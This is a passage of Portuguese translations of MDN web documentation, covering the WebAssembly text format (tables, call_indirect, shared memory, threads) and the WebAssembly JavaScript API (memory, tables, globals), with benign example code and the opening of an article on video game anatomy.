nossas referências no deslocamento 1, teríamos que escrever `(i32.const 1)`, e o tamanho da tabela teria que ser 3.\n\n**Nota:** Os elementos não inicializados recebem um valor padrão de ativação.\n\nEm JavaScript, as chamadas equivalentes para criar tal instância de tabela seriam mais ou menos assim:\n\n\n```js\nfunction () {\n  // seção da tabela\n  const tbl = new WebAssembly.Table({initial: 2, element: \"anyfunc\"});\n\n  // seções de função:\n  const f1 = ... /\\* alguma função WebAssembly importada \\*/\n  const f2 = ... /\\* alguma função WebAssembly importada \\*/\n\n  // seção de elementos\n  tbl.set(0, f1);\n  tbl.set(1, f2);\n};\n```\n\n\n#### Usando a tabela\n\nSeguindo em frente, agora que definimos a tabela, precisamos usá-la de alguma forma. Vamos usar esta seção de código para fazer isso:\n\n\n```wasm\n(type $return\\_i32 (func (result i32))) ;; se fosse f32, a verificação de tipo falharia\n(func (export \"callByIndex\") (param $i i32) (result i32)\n  local.get $i\n  call\\_indirect (type $return\\_i32))\n```\n\n\n* O bloco `(type $return_i32 (func (result i32)))` especifica um tipo, com um nome de referência. Esse tipo é usado ao executar a verificação de tipo das chamadas de referência de função de tabela posteriormente. Aqui estamos dizendo que as referências precisam ser funções que retornam um `i32` como resultado.\n* Em seguida, definimos uma função que será exportada com o nome `callByIndex`. Isso levará um `i32` como parâmetro, que recebe o nome de argumento `$i`.\n* Dentro da função, adicionamos um valor à pilha — qualquer valor que seja passado como parâmetro `$i`.\n* Por fim, usamos `call_indirect` para chamar uma função da tabela — ela extrai implicitamente o valor de `$i` da pilha. O resultado líquido disso é que a função `callByIndex` invoca a função `$i`'th na tabela.\n\nVocê também pode declarar o parâmetro `call_indirect` explicitamente durante a chamada do comando em vez de antes dele, assim:\n\n\n```wasm\n(call\\_indirect (type $return\\_i32) (local.get $i))\n```\n\n\nEm uma linguagem mais expressiva e de nível superior, como JavaScript, você pode imaginar fazer a mesma coisa com uma matriz (ou provavelmente, mais provavelmente, um objeto) contendo funções. O pseudocódigo seria algo como `tbl[i]()`.\n\nEntão, de volta à verificação de tipos. Como o WebAssembly é verificado quanto ao tipo e o `funcref` pode ser potencialmente qualquer assinatura de função, temos que fornecer a assinatura presumida do callee no callsite, portanto, incluímos o tipo `$return_i32`, para informar ao programa que uma função que retorna um `i32` é esperada. Se o receptor não tiver uma assinatura correspondente (digamos que um `f32` seja retornado), um `WebAssembly.RuntimeError` (en-US) será lançado.\n\nEntão, o que liga `call_indirect` à tabela que estamos chamando? A resposta é que há apenas uma tabela permitida agora por instância do módulo, e é isso que `call_indirect` está chamando implicitamente. No futuro, quando várias tabelas forem permitidas, também precisaremos especificar um identificador de tabela de algum tipo, nos moldes de\n\n\n```wasm\ncall\\_indirect $my\\_spicy\\_table (type $i32\\_to\\_void)\n```\n\n\nO módulo completo se parece com isso e pode ser encontrado em nosso arquivo de exemplo wasm-table.wat:\n\n\n```wasm\n(module\n  (table 2 funcref)\n  (func $f1 (result i32)\n    i32.const 42)\n  (func $f2 (result i32)\n    i32.const 13)\n  (elem (i32.const 0) $f1 $f2)\n  (type $return\\_i32 (func (result i32)))\n  (func (export \"callByIndex\") (param $i i32) (result i32)\n    local.get $i\n    call\\_indirect (type $return\\_i32))\n)\n```\n\n\nNós o carregamos em uma página da Web usando o seguinte JavaScript:\n\n\n```js\nWebAssembly.instantiateStreaming(fetch(\"wasm-table.wasm\")).then((obj) => {\n  console.log(obj.instance.exports.callByIndex(0)); // retorna 42\n  console.log(obj.instance.exports.callByIndex(1)); // retorna 13\n  console.log(obj.instance.exports.callByIndex(2)); // retorna um erro, porque não há posição de índice 2 na tabela\n});\n```\n\n\n**Nota:** Você pode encontrar este exemplo no GitHub como wasm-table.html (veja ao vivo também).\n\n**Nota:** Assim como a memória, as tabelas também podem ser criadas a partir de JavaScript (consulte `WebAssembly.Table()` (en-US)) bem como importadas de/para outro módulo Wasm.\n\n### Tabelas mutantes e links dinâmicos\n\nComo o JavaScript tem acesso total às referências de função, o objeto Tabela pode sofrer mutação do JavaScript usando os métodos `grow()` (en-US), `get()` (en-US) e `set()` (en-US). E o próprio código WebAssembly é capaz de manipular tabelas usando instruções adicionadas como parte de Tipos de referência, como `table.get` e `table.set`.\n\nComo as tabelas são mutáveis, elas podem ser usadas para implementar [esquemas de vinculação dinâmica] sofisticados de tempo de carregamento e tempo de execução (https://github.com/WebAssembly/tool-conventions/blob/main/DynamicLinking.md). Quando um programa é vinculado dinamicamente, várias instâncias compartilham a mesma memória e tabela. Isso é simétrico para um aplicativo nativo onde vários `.dll`s compilados compartilham o espaço de endereço de um único processo.\n\nPara ver isso em ação, criaremos um único objeto de importação contendo um objeto de memória e um objeto de tabela e passaremos esse mesmo objeto de importação para várias chamadas `instantiate()` (en-US).\n\nNossos exemplos de `.wat` são assim:\n\n`shared0.wat`:\n\n\n```wasm\n(module\n  (import \"js\" \"memory\" (memory 1))\n  (import \"js\" \"table\" (table 1 funcref))\n  (elem (i32.const 0) $shared0func)\n  (func $shared0func (result i32)\n   i32.const 0\n   i32.load)\n)\n```\n\n\n`shared1.wat`:\n\n\n```wasm\n(module\n  (import \"js\" \"memory\" (memory 1))\n  (import \"js\" \"table\" (table 1 funcref))\n  (type $void\\_to\\_i32 (func (result i32)))\n  (func (export \"doIt\") (result i32)\n   i32.const 0\n   i32.const 42\n   i32.store  ;; store 42 at address 0\n   i32.const 0\n   call\\_indirect (type $void\\_to\\_i32))\n)\n```\n\n\nEstes funcionam da seguinte forma:\n\n1. A função `shared0func` é definida em `shared0.wat` e armazenada em nossa tabela importada.\n2. Esta função cria uma constante contendo o valor `0`, e então usa o comando `i32.load` para carregar o valor contido no índice de memória fornecido. O índice fornecido é `0` — novamente, ele extrai implicitamente o valor anterior da pilha. Então `shared0func` carrega e retorna o valor armazenado no índice de memória `0`.\n3. Em `shared1.wat`, exportamos uma função chamada `doIt` — esta função cria duas constantes contendo os valores `0` e `42`, então chama `i32.store` para armazenar um valor fornecido em um índice fornecido da memória importada. Novamente, ele extrai implicitamente esses valores da pilha, então o resultado é que ele armazena o valor `42` no índice de memória `0`,\n4. Na última parte da função, criamos uma constante com valor `0`, então chamamos a função neste índice 0 da tabela, que é `shared0func`, armazenado lá anteriormente pelo bloco `elem` em `shared0.wat`.\n5. Quando chamado, `shared0func` carrega o `42` que armazenamos na memória usando o comando `i32.store` em `shared1.wat`.\n\n**Nota:** As expressões acima novamente extraem valores da pilha implicitamente, mas você pode declará-los explicitamente dentro das chamadas de comando, por exemplo:\n\n\n```wasm\n(i32.store (i32.const 0) (i32.const 42))\n(call\\_indirect (type $void\\_to\\_i32) (i32.const 0))\n```\n\n\nDepois de converter para assembly, usamos `shared0.wasm` e `shared1.wasm` em JavaScript por meio do seguinte código:\n\n\n```js\nconst importObj = {\n  js: {\n    memory: new WebAssembly.Memory({ initial: 1 }),\n    table: new WebAssembly.Table({ initial: 1, element: \"anyfunc\" }),\n  },\n};\n\nPromise.all([\n  WebAssembly.instantiateStreaming(fetch(\"shared0.wasm\"), importObj),\n  WebAssembly.instantiateStreaming(fetch(\"shared1.wasm\"), importObj),\n]).then((results) => {\n  console.log(results[1].instance.exports.doIt()); // prints 42\n});\n```\n\n\nCada um dos módulos que está sendo compilado pode importar a mesma memória e objetos de tabela e, assim, compartilhar a mesma memória linear e \"espaço de endereçamento\" de tabela.\n\n**Nota:** Você pode encontrar este exemplo no GitHub como shared-address-space.html (veja ao vivo também).\n\nOperações de memória em massa\n-----------------------------\n\nAs operações de memória em massa são uma adição mais recente à linguagem (por exemplo, no Firefox 79 (en-US)) — sete novas operações incorporadas são fornecidas para operações de memória em massa, como cópia e inicialização, para permitir que o WebAssembly modele funções nativas como `memcpy` e `memmove` de maneira mais eficiente e com melhor desempenho.\n\nAs novas operações são:\n\n* `data.drop`: Descarta os dados em um segmento de dados.\n* `elem.drop`: Descarta os dados em um segmento de elemento.\n* `memory.copy`: Copia de uma região da memória linear para outra.\n* `memory.fill`: Preenche uma região de memória linear com um determinado valor de byte.\n* `memory.init`: Copia uma região de um segmento de dados.\n* `table.copy`: Copia de uma região de uma tabela para outra.\n* `table.init`: Copia uma região de um segmento de elemento.\n\n**Nota:** você pode encontrar mais informações na proposta Operações de memória em massa e inicialização de segmento condicional.\n\nTipos\n-----\n\n### Tipos de números\n\nAtualmente, o WebAssembly tem quatro *number types* disponíveis:\n\n* `i32`: inteiro de 32 bits\n* `i64`: inteiro de 64 bits\n* `f32`: flutuante de 32 bits\n* `f64`: flutuante de 64 bits\n### Tipos de vetores\n\n* `v128`: vetor de 128 bits de inteiro compactado, dados de ponto flutuante ou um único tipo de 128 bits.\n### Tipos de referência\n\nA proposta de tipos de referência (compatível com Firefox 79 (en-US)) fornece dois recursos principais:\n\n* Um novo tipo, `externref`, que pode conter *qualquer* valor JavaScript, por exemplo, strings, referências DOM, objetos, etc. `externref` é opaco do ponto de vista do WebAssembly — um módulo Wasm não pode acessar e manipular esses valores e, em vez disso, pode apenas recebê-los e passá-los de volta. Mas isso é muito útil para permitir que os módulos Wasm chamem funções JavaScript, APIs DOM, etc., e geralmente para preparar o caminho para uma interoperabilidade mais fácil com o ambiente host. `externref` pode ser usado para tipos de valor e elementos de tabela.\n* Uma série de novas instruções que permitem aos módulos Wasm manipular diretamente tabelas WebAssembly, em vez de ter que fazer isso por meio da API JavaScript.\n\n**Nota:** A documentação wasm-bindgen contém algumas informações úteis sobre como aproveitar `externref` do Rust.\n\nWebAssembly de vários valores\n-----------------------------\n\nOutra adição mais recente à linguagem (por exemplo, no Firefox 78 (en-US)) é o valor múltiplo do WebAssembly, o que significa que as funções do WebAssembly agora podem retornar vários valores e as sequências de instruções podem consumir e produzir vários valores de pilha.\n\nNo momento da redação deste artigo (junho de 2020), isso está em um estágio inicial e as únicas instruções de vários valores disponíveis são chamadas para funções que retornam vários valores. Por exemplo:\n\n\n```wasm\n(module\n  (func $get\\_two\\_numbers (result i32 i32)\n    i32.const 1\n    i32.const 2\n  )\n  (func (export \"add\\_two\\_numbers\") (result i32)\n    call $get\\_two\\_numbers\n    i32.add\n  )\n)\n```\n\n\nMas isso abrirá caminho para tipos de instruções mais úteis e outras coisas além. Para uma descrição útil do progresso até agora e como isso funciona, consulte Multi-Value All The Wasm! por Nick Fitzgerald.\n\nThreads WebAssembly\n-------------------\n\nWebAssembly Threads (compatível com Firefox 79 (en-US) em diante) permite que objetos WebAssembly Memory sejam compartilhados entre várias instâncias WebAssembly em execução em Web Workers separados, da mesma forma que `SharedArrayBuffer` (en-US)s em JavaScript. Isso permite uma comunicação muito rápida entre os trabalhadores e ganhos significativos de desempenho em aplicativos da web.\n\nA proposta de threads tem duas partes, memórias compartilhadas e acessos à memória atômica.\n\n### Memórias compartilhadas\n\nConforme descrito acima, você pode criar objetos WebAssembly `Memory` (en-US) compartilhados, que podem ser transferidos entre os contextos Window e Worker usando `postMessage()` (en-US), da mesma forma que um [`SharedArrayBuffer`](/pt-BR/docs/Web/JavaScript/ Referência/Global\\_Objects/SharedArrayBuffer).\n\nNo lado da API JavaScript, o objeto de inicialização do construtor `WebAssembly.Memory()` (en-US) agora tem uma propriedade `shared`, que quando definida como `true` criará uma memória compartilhada:\n\n\n```js\nconst memory = new WebAssembly.Memory({\n  initial: 10,\n  maximum: 100,\n  shared: true,\n});\n```\n\n\na propriedade `buffer` (en-US) da memória agora retornará um `SharedArrayBuffer`, em vez do `ArrayBuffer` usual:\n\n\n```js\nmemory.buffer; // retorna SharedArrayBuffer\n```\n\n\nNo formato de texto, você pode criar uma memória compartilhada usando a palavra-chave `shared`, assim:\n\n\n```wasm\n(memory 1 2 shared)\n```\n\n\nAo contrário das memórias não compartilhadas, as memórias compartilhadas devem especificar um tamanho \"máximo\", tanto no construtor da API JavaScript quanto no formato de texto Wasm.\n\n**Nota:** Você pode encontrar muito mais detalhes na Proposta de encadeamento para WebAssembly.\n\n### Acessos à memória atômica\n\nVárias novas instruções Wasm foram adicionadas e podem ser usadas para implementar recursos de nível superior, como mutexes, variáveis de condição etc. Estas instruções são permitidas em memórias não compartilhadas a partir do Firefox 80.\n\n**Nota:** A página de suporte do Emscripten Pthreads mostra como aproveitar essa nova funcionalidade do Emscripten.\n\nResumo\n------\n\nIsso encerra nosso tour de alto nível pelos principais componentes do formato de texto WebAssembly e como eles são refletidos na API WebAssembly JS.\n\nVeja também\n-----------\n\n* A principal coisa que não foi incluída é uma lista abrangente de todas as instruções que podem ocorrer em corpos de função. Veja a semântica do WebAssembly para um tratamento de cada instrução.\n* Veja também a gramática do formato de texto que é implementada pelo interpretador de especificações."}
{"title":"Usando a API JavaScript WebAssembly - WebAssembly","text":"Usando a API JavaScript WebAssembly\n===================================\n\nSe você já compilou um módulo de outra linguagem usando ferramentas como Emscripten ou carregou e executou o código você mesmo (en-US), a próxima etapa é aprender mais sobre como usar os outros recursos da API JavaScript WebAssembly. Este artigo ensina o que você precisa saber.\n\n**Nota:** Se você não estiver familiarizado com os conceitos básicos mencionados neste artigo e precisar de mais explicações, leia Conceitos do WebAssembly primeiro e depois volte.\n\nAlguns exemplos simples\n-----------------------\n\nVamos percorrer alguns exemplos que explicam como usar a API WebAssembly JavaScript e como usá-la para carregar um módulo Wasm em uma página da web.\n\n**Nota:** você pode encontrar o código de exemplo em nosso webassembly-examples repositório do GitHub.\n\n### Preparando o exemplo\n\n1. Primeiro precisamos de um módulo Wasm! Pegue nosso arquivo `simple.wasm` e salve uma cópia em um novo diretório em seu local máquina.\n2. Em seguida, vamos criar um arquivo HTML simples chamado `index.html` no mesmo diretório do seu arquivo Wasm (pode usar nosso modelo simples se você não tiver um facilmente disponível).\n3. Agora, para nos ajudar a entender o que está acontecendo aqui, vamos ver a representação de texto do nosso módulo Wasm (que também encontramos em Converting WebAssembly format to Wasm (en-US)):\n\n```wasm\n(module\n  (func $i (import \"imports\" \"imported\\_func\") (param i32))\n  (func (export \"exported\\_func\")\n    i32.const 42\n    call $i))\n```\n\n4. Na segunda linha, você verá que a importação tem um namespace de dois níveis — a função interna `$i` é importada de `imports.imported_func`. Precisamos refletir esse namespace de dois níveis em JavaScript ao escrever o objeto a ser importado para o módulo Wasm. Crie um elemento `<script></script>` em seu arquivo HTML e adicione o seguinte código a ele:\n\n```js\nconst importObject = {\n  imports: { imported\\_func: (arg) => console.log(arg) },\n};\n```\n\n### Transmitindo o módulo WebAssembly\n\nUma novidade no Firefox 58 é a capacidade de compilar e instanciar módulos WebAssembly diretamente de fontes subjacentes. Isso é obtido usando `WebAssembly.compileStreaming()` (en-US) e `WebAssembly.instantiateStreaming()` (en-US). Esses métodos são mais fáceis do que suas contrapartes sem streaming, porque eles podem transformar o código de byte diretamente em instâncias `Module`/`Instance`, eliminando a necessidade de colocar separadamente o `Response` em um `ArrayBuffer`.\n\nEste exemplo (consulte nossa demonstração instantiate-streaming.html no GitHub e visualize it live também) mostra como usar `instantiateStreaming()` para buscar um módulo Wasm, importar uma função JavaScript nele, compilá-lo e instanciá-lo e acessar sua função exportada - tudo em uma única etapa.\n\nAdicione o seguinte ao seu script, abaixo do primeiro bloco:\n\n\n```js\nWebAssembly.instantiateStreaming(fetch(\"simple.wasm\"), importObject).then(\n  (obj) => obj.instance.exports.exported\\_func(),\n);\n```\n\n\nO resultado disso é que chamamos nossa função WebAssembly exportada `exported_func`, que por sua vez chama nossa função JavaScript importada `imported_func`, que registra o valor fornecido dentro da instância WebAssembly (42) no console. Se você salvar seu código de exemplo agora e carregá-lo em um navegador compatível com WebAssembly, verá isso em ação!\n\n**Nota:** Este é um exemplo complicado e prolixo que alcança muito pouco, mas serve para ilustrar o que é possível — usar código WebAssembly juntamente com JavaScript em seus aplicativos da web. Como dissemos em outro lugar, o WebAssembly não pretende substituir o JavaScript; os dois, em vez disso, podem trabalhar juntos aproveitando os pontos fortes um do outro.\n\n### Carregando nosso módulo Wasm sem streaming\n\nSe você não pode ou não quer usar os métodos de streaming descritos acima, você pode usar os métodos sem streaming `WebAssembly.compile()` (en-US) / `WebAssembly.instantiate()` (en-US) em vez disso.\n\nEsses métodos não acessam diretamente o código de byte, então requerem uma etapa extra para transformar a resposta em um `ArrayBuffer` antes de compilar/instanciar o módulo Wasm.\n\nO código equivalente ficaria assim:\n\n\n```js\nfetch(\"simple.wasm\")\n  .then((response) => response.arrayBuffer())\n  .then((bytes) => WebAssembly.instantiate(bytes, importObject))\n  .then((results) => {\n    results.instance.exports.exported\\_func();\n  });\n```\n\n### Como visualizar o Wasm nas ferramentas do desenvolvedor\n\nNo Firefox 54+, o painel do depurador da ferramenta do desenvolvedor tem funcionalidade para expor a representação de texto de qualquer código Wasm incluído em uma página da web. Para visualizá-lo, você pode ir ao Painel do Depurador e clicar na entrada \"wasm://\".\n\n![Painel do depurador de ferramentas do desenvolvedor destacando um módulo.](/pt-BR/docs/WebAssembly/Using_the_JavaScript_API/wasm-debug.png)\n\nAlém de visualizar o WebAssembly como texto, os desenvolvedores podem depurar (colocar pontos de interrupção, inspecionar a pilha de chamadas, passo único, etc.) WebAssembly usando o formato de texto.\n\nMemória\n-------\n\nNo modelo de memória de baixo nível do WebAssembly, a memória é representada como um intervalo contíguo de bytes não digitados chamados Linear Memory que são lidos e escrito por instruções de carregamento e armazenamento dentro do módulo. Nesse modelo de memória, qualquer load ou store pode acessar qualquer byte em toda a memória linear, o que é necessário para representar fielmente conceitos C/C++ como ponteiros.\n\nAo contrário de um programa C/C++ nativo, no entanto, onde o intervalo de memória disponível abrange todo o processo, a memória acessível por uma Instância WebAssembly específica é confinada a um intervalo específico — potencialmente muito pequeno — contido por um objeto WebAssembly Memory. Isso permite que um único aplicativo da Web use várias bibliotecas independentes — cada uma delas usando o WebAssembly internamente — para ter memórias separadas totalmente isoladas umas das outras. Além disso, implementações mais recentes também podem criar memórias compartilhadas, que podem ser transferidas entre os contextos Window e Worker usando `postMessage()` (en-US) e usadas em vários lugares.\n\nEm JavaScript, uma instância de Memory pode ser considerada como um `ArrayBuffer` redimensionável (ou `SharedArrayBuffer` (en-US), no caso de memórias compartilhadas) e, assim como com `ArrayBuffers`, um único aplicativo da web pode criar muitos objetos Memory independentes. Você pode criar um usando o construtor `WebAssembly.Memory()` (en-US), que recebe como argumentos um tamanho inicial e (opcionalmente) um tamanho máximo e um `shared` propriedade que informa se é uma memória compartilhada ou não.\n\nVamos começar a explorar isso observando um exemplo rápido.\n\n1. Crie outra nova página HTML simples (copie nosso modelo simples) e chame-a de `memory.html`. Adicione um elemento `<script></script>` à página.\n2. Agora adicione a seguinte linha ao topo do seu script, para criar uma instância de memória:\n\n```js\nconst memory = new WebAssembly.Memory({ initial: 10, maximum: 100 });\n```\n\nA unidade de `initial` e `maximum` são as páginas WebAssembly — elas são fixadas em 64KB de tamanho. Isso significa que a instância de memória acima tem um tamanho inicial de 640 KB e um tamanho máximo de 6,4 MB.\n A memória WebAssembly expõe seus bytes fornecendo um getter/setter de buffer que retorna um ArrayBuffer. Por exemplo, para escrever 42 diretamente na primeira palavra da memória linear, você pode fazer isso:\n\n```js\nnew Uint32Array(memory.buffer)[0] = 42;\n```\n\nVocê pode retornar o mesmo valor usando:\n\n```js\nnew Uint32Array(memory.buffer)[0];\n```\n\n3. Tente isso agora em sua demonstração — salve o que você adicionou até agora, carregue-o em seu navegador e tente inserir as duas linhas acima em seu console JavaScript.\n### Aumentando a memória\n\nUma instância de memória pode ser aumentada por chamadas para `Memory.prototype.grow()` (en-US), onde novamente o argumento é especificado em unidades de páginas WebAssembly:\n\n\n```js\nmemory.grow(1);\n```\n\n\nSe um valor máximo foi fornecido na criação da instância de memória, as tentativas de ultrapassar esse máximo gerarão uma exceção `RangeError` (en-US). O mecanismo aproveita esses limites superiores fornecidos para reservar memória antecipadamente, o que pode tornar o redimensionamento mais eficiente.\n\nNota: Como o byteLength de um `ArrayBuffer` é imutável, após um `Memory.prototype.grow()` (en-US) bem-sucedido operação, o buffer getter retornará um novo objeto ArrayBuffer (com o novo byteLength) e quaisquer objetos ArrayBuffer anteriores serão \"desconectados\" ou desconectados da memória subjacente para a qual apontaram anteriormente.\n\nAssim como as funções, as memórias lineares podem ser definidas dentro de um módulo ou importadas. Da mesma forma, um módulo também pode, opcionalmente, exportar sua memória. Isso significa que o JavaScript pode obter acesso à memória de uma instância do WebAssembly criando um novo `WebAssembly.Memory` e transmitindo-o como uma importação ou recebendo uma exportação de memória (através de `Instance.prototype.exports` (en-US)).\n\n### Exemplo de memória mais envolvida\n\nVamos tornar as afirmações acima mais claras observando um exemplo de memória mais envolvido — um módulo WebAssembly que importa a instância de memória que definimos anteriormente, a preenche com uma matriz de inteiros e os soma. Você pode encontrar isso em memory.wasm.\n\n1. faça uma cópia local de `memory.wasm` no mesmo diretório de antes.\n\n**Nota:** você pode ver a representação de texto do módulo em memory.wat.\n2. Volte para seu arquivo de exemplo `memory.html` e busque, compile e instancie seu módulo Wasm como antes — adicione o seguinte ao final de seu script:\n\n```js\nWebAssembly.instantiateStreaming(fetch(\"memory.wasm\"), {\n  js: { mem: memory },\n}).then((results) => {\n  // adicione o código aqui\n});\n```\n\n3. Como este módulo exporta sua memória, dada uma instância deste módulo chamada instance podemos usar uma função exportada `accumulate()` para criar e preencher um array de entrada diretamente na memória linear da instância do módulo (`mem`). Adicione o seguinte em seu código, onde indicado:\n\n```js\nconst i32 = new Uint32Array(memory.buffer);\n\nfor (let i = 0; i < 10; i++) {\n  i32[i] = i;\n}\n\nconst sum = results.instance.exports.accumulate(0, 10);\nconsole.log(sum);\n```\n\n\nObserve como criamos a visualização `Uint32Array` (en-US) no buffer do objeto Memory (`Memory.prototype.buffer` (en-US)), não na própria Memória.\n\nAs importações de memória funcionam exatamente como as importações de função, apenas objetos de memória são passados como valores em vez de funções JavaScript. As importações de memória são úteis por dois motivos:\n\n* Eles permitem que o JavaScript busque e crie o conteúdo inicial da memória antes ou simultaneamente com a compilação do módulo.\n* Eles permitem que um único objeto de memória seja importado por várias instâncias de módulo, o que é um bloco de construção crítico para implementar a vinculação dinâmica no WebAssembly.\n\n**Nota:** Você pode encontrar nossa demonstração completa em memory.html (veja ao vivo também) .\n\nTabelas\n-------\n\nUma tabela WebAssembly é uma matriz redimensionável de referências que pode ser acessada por código JavaScript e WebAssembly. Embora a memória forneça uma matriz digitada redimensionável de bytes brutos, não é seguro que as referências sejam armazenadas em uma memória, pois uma referência é um valor confiável do mecanismo cujos bytes não devem ser lidos ou gravados diretamente pelo conteúdo por motivos de segurança, portabilidade e estabilidade .\n\nAs tabelas possuem um tipo de elemento, que limita os tipos de referência que podem ser armazenados na tabela. Na iteração atual do WebAssembly, há apenas um tipo de referência necessária para o código do WebAssembly — funções — e, portanto, apenas um tipo de elemento válido. Em iterações futuras, mais tipos de elementos serão adicionados.\n\nReferências de função são necessárias para compilar linguagens como C/C++ que possuem ponteiros de função. Em uma implementação nativa de C/C++, um ponteiro de função é representado pelo endereço bruto do código da função no espaço de endereço virtual do processo e, portanto, pelas razões de segurança mencionadas acima, não pode ser armazenado diretamente na memória linear. Em vez disso, as referências de função são armazenadas em uma tabela e seus índices, que são inteiros e podem ser armazenados na memória linear, são passados.\n\nQuando chega a hora de chamar um ponteiro de função, o chamador do WebAssembly fornece o índice, que pode então ter limites de segurança verificados na tabela antes de indexar e chamar a referência de função indexada. Assim, as tabelas são atualmente um primitivo de baixo nível usado para compilar recursos de linguagem de programação de baixo nível com segurança e portabilidade.\n\nTabelas podem ser modificadas via `Table.prototype.set()` (en-US), que atualiza um dos valores em uma tabela, e `Table.prototype.grow()` (en-US), que aumenta o número de valores que podem ser armazenados em uma tabela. Isso permite que o conjunto de funções que podem ser chamadas indiretamente mude com o tempo, o que é necessário para técnicas de vinculação dinâmica. As mutações são imediatamente acessíveis via `Table.prototype.get()` (en-US) em JavaScript e para módulos Wasm.\n\n### Um exemplo de tabela\n\nVejamos um exemplo de tabela simples — um módulo WebAssembly que cria e exporta uma tabela com dois elementos: o elemento 0 retorna 13 e o elemento 1 retorna 42. Você pode encontrar isso em [table.wasm](https://raw.githubusercontent. com/mdn/webassembly-examples/master/js-api-examples/table.wasm).\n\n1. Faça uma cópia local de `table.wasm` em um novo diretório.\n\n**Nota:** você pode ver a representação de texto do módulo em table.wat.\n2. Crie uma nova cópia do nosso modelo HTML no mesmo diretório e chame-o de `table.html`.\n3. Como antes, busque, compile e instancie seu módulo Wasm — adicione o seguinte a um elemento `<script>` na parte inferior do corpo do HTML:\n\n```js\nWebAssembly.instantiateStreaming(fetch(\"table.wasm\")).then((results) => {\n  // adicione o código aqui\n});\n```\n\n4. Agora vamos acessar os dados nas tabelas — adicione as seguintes linhas ao seu código no local indicado:\n\n```js\nconst tbl = results.instance.exports.tbl;\nconsole.log(tbl.get(0)()); // 13\nconsole.log(tbl.get(1)()); // 42\n```\n\n\nEste código acessa cada referência de função armazenada na tabela por sua vez e as instâncias para imprimir os valores que contêm no console — observe como cada referência de função é recuperada com um `Table.prototype.get()` (en-US), adicionamos um conjunto extra de parênteses no final para realmente invocar a função.\n\n**Nota:** você pode encontrar nossa demonstração completa em table.html (veja ao vivo também).\n\nGlobais\n-------\n\nO WebAssembly tem a capacidade de criar instâncias de variáveis globais, acessíveis a partir de JavaScript e importáveis/exportáveis em uma ou mais instâncias `WebAssembly.Module` (en-US). Isso é muito útil, pois permite a vinculação dinâmica de vários módulos.\n\nPara criar uma instância global WebAssembly de dentro do seu JavaScript, você usa o construtor `WebAssembly.Global()` (en-US), que se parece com isto:\n\n\n```js\nconst global = new WebAssembly.Global({ value: \"i32\", mutable: true }, 0);\n```\n\n\nVocê pode ver que isso requer dois parâmetros:\n\n* Um objeto que contém duas propriedades que descrevem a variável global:\n    + `value`: seu tipo de dados, que pode ser qualquer tipo de dados aceito nos módulos WebAssembly — `i32`, `i64`, `f32` ou `f64`.\n    + `mutável`: um booleano que define se o valor é mutável ou não.\n* Um valor contendo o valor real da variável. Pode ser qualquer valor, desde que seu tipo corresponda ao tipo de dados especificado.\n\nEntão, como usamos isso? No exemplo a seguir, definimos um global como um tipo `i32` mutável, com valor 0.\n\nO valor do global é então alterado, primeiro para `42` usando a propriedade `Global.value`, e então para 43 usando a função `incGlobal()` exportada do módulo `global.wasm` (isso adiciona 1 a qualquer valor que lhe for atribuído e, em seguida, retorna o novo valor).\n\n\n```js\nconst output = document.getElementById(\"output\");\n\nfunction assertEq(msg, got, expected) {\n  const result =\n    got === expected\n      ? `SUCESSO! Obteve: ${got}<br>`\n      : `FALHA!<br>Obteve: ${got}<br>Esperado: ${expected}<br>`;\n  output.innerHTML += `Testando ${msg}: ${result}`;\n}\n\nassertEq(\"WebAssembly.Global exists\", typeof WebAssembly.Global, \"function\");\n\nconst global = new WebAssembly.Global({ value: \"i32\", mutable: true }, 0);\n\nWebAssembly.instantiateStreaming(fetch(\"global.wasm\"), { js: { global } }).then(\n  ({ instance }) => {\n    assertEq(\"obtendo valor inicial de wasm\", instance.exports.getGlobal(), 0);\n    global.value = 42;\n    assertEq(\n      \"obtendo valor atualizado por JS do wasm\",\n      instance.exports.getGlobal(),\n      42,\n    );\n    instance.exports.incGlobal();\n    assertEq(\"obtendo valor atualizado de JS\", global.value, 43);\n  },\n);\n```\n\n\n**Nota:** Você pode ver o exemplo executando ao vivo no GitHub; consulte também o código-fonte.\n\nMultiplicidade\n--------------\n\nAgora que demonstramos o uso dos principais blocos de construção do WebAssembly, este é um bom lugar para mencionar o conceito de multiplicidade. Isso fornece ao WebAssembly uma infinidade de avanços em termos de eficiência arquitetônica:\n\n* Um módulo pode ter N instâncias, da mesma forma que um literal de função pode produzir N valores de fechamento.\n* Uma instância de módulo pode usar instâncias de memória 0–1, que fornecem o \"espaço de endereço\" da instância. Versões futuras do WebAssembly podem permitir instâncias de memória 0–N por instância de módulo (consulte Múltiplas memórias).\n* Uma instância de módulo pode usar instâncias de tabela 0–1 — este é o \"espaço de endereço de função\" da instância, usado para implementar ponteiros de função C. Versões futuras do WebAssembly podem permitir 0–N instâncias de tabela por instância de módulo.\n* Uma instância de memória ou tabela pode ser usada por instâncias de módulo 0–N — todas essas instâncias compartilham o mesmo espaço de endereço, permitindo vinculação dinâmica.\n\nVocê pode ver a multiplicidade em ação em nosso artigo Compreendendo o formato de texto — consulte a seção Tabelas mutantes e vinculação dinâmica.\n\nResumo\n------\n\nEste artigo apresentou os fundamentos do uso da API WebAssembly JavaScript para incluir um módulo WebAssembly em um contexto JavaScript e fazer uso de suas funções e como usar a memória e as tabelas do WebAssembly em JavaScript. Também tocamos no conceito de multiplicidade.\n\nVeja também\n-----------\n\n* webassembly.org\n* Conceitos do WebAssembly\n* WebAssembly no Mozilla Research"}
{"title":"Anatomia de um vídeo game - Desenvolvimento de jogos","text":"Anatomia de um vídeo game\n=========================\n\nEste artigo analisa a anatomia e o fluxo de trabalho do vídeo game médio de um ponto de vista técnico, em termos de como o loop principal deve ser executado. Isso ajuda os iniciantes da arena do desenvolvimento de jogos modernos a entender o que é necessário ao construir um jogo e como os padrões da web como o JavaScript se prestam como ferramentas. Os programadores de jogos experientes que são novos no desenvolvimento da web também podem se beneficiar.\n\nApresentar, aceitar, interpretar, calcular, repetir\n---------------------------------------------------\n\nO objetivo de todo vídeo game é **apresentar** ao usuário uma situação, **aceitar** sua entrada, **interpretar** estes sinais em ações, e **calcular** uma nova situação resultante dessas ações. Jogos estão constantemente repetindo estes estágios, de novo e de novo, até alguma condição final ocorrer (como vencer, perder, ou sair para ir dormir). Não surpreendentemente, este padrão corresponde a como um mecanismo de jogo está programado.\n\nAs especificidades dependem do jogo.\n\nAlguns jogos guiam este ciclo pela entrada do usuário. Imagine que você está desenvolvendo um *\"encontre as diferenças entre estas duas imagens similares\"*. Esses jogos **apresentam** duas imagens ao usuário, eles **aceitam** seus cliques (ou 